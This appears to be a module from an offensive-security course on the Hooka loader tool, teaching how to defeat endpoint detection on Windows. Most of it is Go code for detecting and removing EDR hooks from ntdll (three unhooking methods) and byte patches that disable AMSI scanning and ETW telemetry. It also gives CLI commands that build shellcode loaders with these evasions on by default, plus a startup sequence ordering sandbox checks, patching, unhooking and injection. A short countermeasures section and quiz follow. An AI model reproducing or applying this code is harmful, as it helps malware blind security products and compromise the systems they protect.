Module 4: Unhooking & Patching
If you cannot avoid the hooks, tear them out.
Module Objective
While Module 3 showed how to bypass hooks using direct syscalls, this module covers the complementary approach: removing hooks entirely and disabling telemetry sources. You will learn how EDR inline hooks work at the byte level, how Hooka detects and removes them through three unhooking methods, and how AMSI and ETW patching eliminate two additional detection vectors.
1. How EDR Hooking Works
EDR products install inline hooks (also called detours) on critical ntdll.dll functions. An inline hook replaces the first few bytes of a function with a JMP instruction that redirects execution to the EDR's monitoring code. After inspecting the call, the EDR can allow it to proceed, modify arguments, or block it entirely.
Anatomy of an Inline Hook
Before Hooking (Clean)
ASMNtWriteVirtualMemory:
4C 8B D1 mov r10, rcx
B8 3A 00 00 00 mov eax, 0x3A
0F 05 syscall
C3 ret
After Hooking (EDR)
ASMNtWriteVirtualMemory:
E9 XX XX XX XX jmp EDR_Handler
00 00 00 (clobbered bytes)
0F 05 syscall
C3 ret
The JMP instruction (opcode 0xE9) is a 5-byte relative jump. It overwrites the original mov r10, rcx (3 bytes) and the first 2 bytes of mov eax, SSN. The original bytes are saved by the EDR so it can execute them after inspection (this is called the trampoline).
What EDRs Hook
EDR products typically hook a targeted set of sensitive NT functions. Common targets include:
| Function | Why It's Monitored |
|---|---|
NtAllocateVirtualMemory | Detects memory allocation for shellcode |
NtWriteVirtualMemory | Detects writing shellcode to process memory |
NtProtectVirtualMemory | Detects RW → RX permission changes |
NtCreateThreadEx | Detects new thread creation for execution |
NtMapViewOfSection | Detects DLL injection via section mapping |
NtQueueApcThread | Detects APC-based injection |
NtOpenProcess | Detects cross-process handle acquisition |
NtResumeThread | Detects resuming a suspended (injected) thread |
2. Hook Detection
Before unhooking, Hooka can detect which functions are hooked. This is useful both for reconnaissance (understanding which EDR is present) and for targeted unhooking (only restore the functions you need).
DetectHooks()
Scans all exported functions in ntdll.dll and returns a list of hooked ones:
Go// Detect all hooked functions in ntdll
func DetectHooks() ([]string, error) {
ntdll := GetModuleHandle("ntdll.dll")
exports := parseExportTable(ntdll)
var hooked []string
for _, exp := range exports {
stub := readBytes(exp.Address, 5)
// Check for JMP at start (standard hook)
if stub[0] == 0xE9 {
hooked = append(hooked, exp.Name)
continue
}
// Check for JMP after mov r10, rcx (Tartarus-style)
if stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 {
if stub[3] == 0xE9 {
hooked = append(hooked, exp.Name)
}
}
}
return hooked, nil
}
IsHooked(funcName)
Checks a single specific function. Use IsHooked("NtAllocateVirtualMemory") for targeted checks, or DetectHooks() to scan all exports at once:
Gohooked, _ := hooka.IsHooked("NtAllocateVirtualMemory") // single check
allHooked, _ := hooka.DetectHooks() // scan all exports
fmt.Printf("Found %d hooked functions\n", len(allHooked))
Practical Use
Running DetectHooks() in a lab with an EDR installed reveals exactly which functions the EDR monitors. Different EDR products hook different sets of functions, so this output can even help identify which EDR is present. CrowdStrike Falcon, for example, hooks a different set of functions than SentinelOne or Elastic EDR.
3. Classic Unhooking
ClassicUnhook(funcnames []string, dllpath string) restores specific hooked functions by reading their clean bytes from the DLL file on disk and overwriting the hooked bytes in memory.
Classic Unhooking Flow
C:\Windows\System32\ntdll.dll
Find .text section
Match export by name
Original stub from disk
Replace hooked bytes
Go// Classic Unhooking - restore specific functions
func ClassicUnhook(funcNames []string, dllPath string) error {
// Read the clean DLL from disk
cleanDLL, err := os.ReadFile(dllPath)
if err != nil {
return err
}
// Parse the PE to find exports and .text section
pe := parsePE(cleanDLL)
textSection := pe.Section(".text")
// Get the in-memory ntdll base
ntdllBase := GetModuleHandle("ntdll.dll")
for _, funcName := range funcNames {
// Find function offset in clean DLL
funcOffset := pe.ExportOffset(funcName)
cleanBytes := cleanDLL[funcOffset : funcOffset+STUB_SIZE]
// Get function address in memory
funcAddr := GetProcAddress(ntdllBase, funcName)
// Make memory writable
VirtualProtect(funcAddr, STUB_SIZE,
PAGE_EXECUTE_READWRITE, &oldProtect)
// Overwrite hooked bytes with clean ones
copy(memorySlice(funcAddr, STUB_SIZE), cleanBytes)
// Restore original protection
VirtualProtect(funcAddr, STUB_SIZE,
oldProtect, &tmp)
}
return nil
}
// Usage
hooka.ClassicUnhook(
[]string{"NtAllocateVirtualMemory", "NtWriteVirtualMemory",
"NtProtectVirtualMemory", "NtCreateThreadEx"},
`C:\Windows\System32\ntdll.dll`,
)
Pros and Cons
Pros: Surgical precision — only restores the functions you specify, leaving the rest of the EDR's hooks intact. Smaller memory footprint and less suspicious than full DLL replacement.
Cons: Requires knowing which functions are hooked. If you miss one, the EDR still sees those calls. Also, reading the DLL from disk can be detected (file access monitoring).
4. Full DLL Unhooking
FullUnhook(dllsToUnhook []string) takes a more aggressive approach: it replaces the entire .text section of each specified DLL in memory with the clean version from disk. This removes all hooks at once, regardless of which specific functions were targeted.
Go// Full DLL Unhooking - replace entire .text sections
func FullUnhook(dllNames []string) error {
for _, dllName := range dllNames {
dllPath := filepath.Join(os.Getenv("WINDIR"), "System32", dllName)
cleanDLL, _ := os.ReadFile(dllPath)
cleanText := parsePE(cleanDLL).SectionData(".text")
dllBase := GetModuleHandle(dllName)
memPE := parsePEFromMemory(dllBase)
memTextAddr := dllBase + memPE.SectionRVA(".text")
memTextSize := memPE.SectionSize(".text")
VirtualProtect(memTextAddr, memTextSize, PAGE_EXECUTE_READWRITE, &oldProtect)
copy(memorySlice(memTextAddr, memTextSize), cleanText)
VirtualProtect(memTextAddr, memTextSize, oldProtect, &tmp)
}
return nil
}
// Usage: unhook ntdll and kernelbase
hooka.FullUnhook([]string{"ntdll.dll", "kernelbase.dll"})
Detection Considerations
Full DLL unhooking is powerful but detectable. The act of reading ntdll.dll from disk and making the .text section writable are both observable events. Some EDRs periodically re-scan their hooks and will detect that they have been removed. Additionally, the VirtualProtect call on the .text section of ntdll.dll itself can be flagged as suspicious.
5. Perun's Fart (PerunsUnhook)
PerunsUnhook() is a specialized unhooking technique that specifically targets ntdll.dll. Named after the Slavic god Perun, this method uses a different approach to obtain a clean copy of ntdll — it maps a fresh copy from the KnownDLLs directory rather than reading from disk.
Go// Perun's Fart - ntdll restoration via KnownDLLs
func PerunsUnhook() error {
// Open section handle to clean ntdll from KnownDLLs
var hSection uintptr
objectName := initUnicodeString(`\KnownDlls\ntdll.dll`)
objectAttrs := OBJECT_ATTRIBUTES{
Length: uint32(unsafe.Sizeof(OBJECT_ATTRIBUTES{})),
ObjectName: &objectName,
}
NtOpenSection(&hSection, SECTION_MAP_READ|SECTION_MAP_EXECUTE, &objectAttrs)
// Map the clean ntdll into our process
var cleanBase, viewSize uintptr
NtMapViewOfSection(hSection, currentProcess,
&cleanBase, 0, 0, nil, &viewSize, ViewUnmap, 0, PAGE_READONLY)
// Replace hooked .text section with clean bytes
hookedBase := GetModuleHandle("ntdll.dll")
cleanText := getSectionData(cleanBase, ".text")
hookedTextAddr := hookedBase + getSectionRVA(hookedBase, ".text")
hookedTextSize := getSectionSize(hookedBase, ".text")
VirtualProtect(hookedTextAddr, hookedTextSize, PAGE_EXECUTE_READWRITE, &oldProtect)
copy(memorySlice(hookedTextAddr, hookedTextSize), cleanText)
VirtualProtect(hookedTextAddr, hookedTextSize, oldProtect, &tmp)
NtUnmapViewOfSection(currentProcess, cleanBase)
NtClose(hSection)
return nil
}
Why KnownDLLs Instead of Disk?
The \KnownDlls\ directory is a kernel-maintained cache of trusted system DLLs. Mapping from KnownDLLs avoids the file system entirely — no CreateFile or ReadFile calls that an EDR might monitor. The section object is already in memory (kernel space), so the only observable action is the NtMapViewOfSection call itself.
6. Unhooking Method Comparison
| Method | Function | Scope | Source of Clean Bytes | Stealth | Speed |
|---|---|---|---|---|---|
| Classic | ClassicUnhook() | Selected functions only | DLL on disk | Medium (file read) | Fast |
| Full DLL | FullUnhook() | Entire .text of any DLL | DLL on disk | Low (large write + file read) | Medium |
| Perun's Fart | PerunsUnhook() | Entire .text of ntdll only | KnownDLLs (kernel cache) | High (no file access) | Fast |
Which Method Should You Use?
For most scenarios, Perun's Fart is the best choice for ntdll unhooking because it avoids disk access entirely. Use Classic when you only need to unhook a few specific functions and want minimal impact. Use Full DLL when you need to unhook libraries beyond ntdll (e.g., kernelbase.dll, kernel32.dll) where KnownDLLs mapping is not applicable.
7. AMSI Patching
The Antimalware Scan Interface (AMSI) is a Windows framework that allows applications to send content to the installed antivirus for scanning. PowerShell, .NET, VBScript, JScript, and Windows Script Host all use AMSI. A loaded shellcode runner that uses any of these technologies (or loads .NET assemblies) will have its content scanned through AMSI.
Hooka provides two independent methods to disable AMSI:
PatchAmsi() — Method 1
Patches AmsiScanBuffer in amsi.dll to return immediately with a clean result. The patch writes xor eax, eax; ret (3 bytes: 31 C0 C3) at the function entry, making every scan return AMSI_RESULT_CLEAN (0):
Go// AMSI Patch Method 1: Patch AmsiScanBuffer to always return clean
func PatchAmsi() error {
amsi := LoadLibrary("amsi.dll")
target := GetProcAddress(amsi, "AmsiScanBuffer")
patch := []byte{0x31, 0xC0, 0xC3} // xor eax, eax + ret
VirtualProtect(target, len(patch), PAGE_EXECUTE_READWRITE, &oldProtect)
copy(memorySlice(target, len(patch)), patch)
VirtualProtect(target, len(patch), oldProtect, &tmp)
return nil
}
PatchAmsi2() — Method 2
Patches AmsiInitialize instead, preventing AMSI from initializing at all. Writes mov eax, 0x80070057; ret to make the function return E_INVALIDARG immediately. If AMSI never initializes, no scanning occurs.
Why Two Methods?
Having two independent patching methods provides redundancy. If one method is detected and blocked by a security product (e.g., the EDR monitors writes to AmsiScanBuffer), the other method targeting a different function may succeed. Hooka enables AMSI patching by default in generated loaders.
8. ETW Patching
Event Tracing for Windows (ETW) is the telemetry backbone of Windows. Security products subscribe to ETW providers to receive events about process creation, thread activity, network connections, image loads, and more. The primary function for emitting ETW events is EtwEventWrite in ntdll.dll.
Hooka provides two methods to disable ETW event emission:
PatchEtw() — Method 1
Patches EtwEventWrite in ntdll.dll to return STATUS_SUCCESS (0) immediately without writing any events. Uses the same xor eax, eax; ret patch technique as AMSI patching:
Go// ETW Patch: Neuter EtwEventWrite so no events are emitted
func PatchEtw() error {
ntdll := GetModuleHandle("ntdll.dll")
target := GetProcAddress(ntdll, "EtwEventWrite")
patch := []byte{0x33, 0xC0, 0xC3} // xor eax, eax + ret
VirtualProtect(target, len(patch), PAGE_EXECUTE_READWRITE, &oldProtect)
copy(memorySlice(target, len(patch)), patch)
VirtualProtect(target, len(patch), oldProtect, &tmp)
return nil
}
PatchEtw2() — Method 2
Targets NtTraceEvent instead, a different function in the ETW chain. This provides an alternative if EtwEventWrite is being monitored for integrity. The patch technique is identical — overwrite the function entry with xor eax, eax; ret.
Impact of ETW Patching
Disabling ETW silences a significant portion of the telemetry that EDR agents consume. Without EtwEventWrite, the EDR loses visibility into .NET assembly loads, managed code execution, and numerous other runtime events. However, the absence of expected ETW events can itself be a detection signal — if an EDR notices that ETW events suddenly stop flowing from a process, it may flag that process as suspicious.
9. Default Behavior and CLI Flags
Hooka enables both AMSI and ETW patching by default in all generated loaders. This is because most real-world scenarios benefit from disabling these telemetry sources before injection occurs. To disable them:
Bash# Default: AMSI + ETW patching enabled
./hooka -i shellcode.bin -o loader.exe
# Disable AMSI patching
./hooka -i shellcode.bin -o loader.exe --no-amsi
# Disable ETW patching
./hooka -i shellcode.bin -o loader.exe --no-etw
# Disable both
./hooka -i shellcode.bin -o loader.exe --no-amsi --no-etw
10. The Loader Startup Sequence
Understanding the order of operations in a Hooka-generated loader is critical. Patching and unhooking must happen before injection, because the injection APIs are what the EDR is trying to monitor:
Hooka Loader Startup Sequence
Abort if VM detected
Disable scan interface
Disable event tracing
Remove EDR hooks
AES/3DES/RC4/XOR
Chosen technique
This order is deliberate:
- Sandbox checks first — no point in revealing evasion techniques if running in an analysis environment
- AMSI before ETW — prevents .NET/PowerShell scanning in case the loader uses managed code
- ETW before unhooking — silences telemetry that would report the unhooking activity
- Unhooking before injection — ensures the injection APIs are clean when called
- Decryption just before injection — minimizes the time shellcode exists in cleartext memory
11. Detection and Countermeasures
The Arms Race
Patching and unhooking are not undetectable. Security products are evolving to counter these techniques:
- Integrity Checks: Some EDRs periodically verify that their hooks are still in place. If the hooks are gone, an alert fires.
- Kernel-Level Monitoring: Kernel callbacks (
PsSetLoadImageNotifyRoutine,ObRegisterCallbacks) operate below ntdll and cannot be unhooked from user mode. - Hardware Breakpoints: Some EDRs use hardware breakpoints instead of inline hooks, invisible to stub-reading detection.
- Syscall Monitoring: Newer EDRs hook at the kernel level to monitor syscalls regardless of ntdll hooks.
- ETW-TI: The ETW Threat Intelligence provider operates from kernel mode and cannot be disabled by user-mode patching.
Despite these countermeasures, patching and unhooking remain effective against many deployed security products. The key is combining multiple techniques so no single defense gap allows detection.
Knowledge Check
Q1: What does Perun's Fart (PerunsUnhook) use as its source of clean ntdll bytes?
Q2: Why does Hooka patch AMSI and ETW before performing unhooking?
Q3: What is a key limitation of user-mode unhooking techniques?